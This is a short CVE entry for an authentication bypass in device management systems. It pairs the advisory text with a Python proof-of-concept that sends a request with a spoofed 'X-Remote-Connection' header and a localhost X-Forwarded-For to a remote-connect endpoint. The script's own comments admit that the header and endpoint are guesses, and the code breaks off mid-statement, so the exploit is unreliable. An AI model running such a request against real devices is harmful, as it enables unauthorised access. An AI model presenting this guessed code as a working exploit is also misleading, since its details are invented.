CVE-2026-33892

# PoC for CVE-2026-33892: Authentication Bypass # This script demonstrates how an unauthenticated attacker might attempt to bypass authentication # by sending a crafted request to the specific port and header used for remote connections. import requests target_ip = "192.168.1.100" # Replace with target IP target_port = "443" # Replace with the discovered port for remote connections # The specific header required for the remote connection vulnerability # The attacker must identify this header through reconnaissance headers = { "User-Agent": "Mozilla/5.0", "X-Remote-Connection": "true", # Example header based on vulnerability description "X-Forwarded-For": "127.0.0.1" } # The endpoint used to establish the remote connection url = f"https://{target_ip}:{target_port}/api/v1/remote/connect" try: print(f"[+] Sending malicious request to {url}...") response = requests.get(url, headers=headers, verify=False, timeout=10) if response.status_code == 200: print("[!] Potential successful bypass!

Affected management systems do not properly enforce user authentication on remote connections to devices.\r\nThis could facilitate an unauthenticated remote attacker to circumvent authentication and impersonate a legitimate user.\r\nSuccessful exploitation requires that the attacker has identified the header and port used for remote connections to devices and that the remote connection feature is enabled for the device.\r\n\r\nExploitation allows the attacker to tunnel to the device.
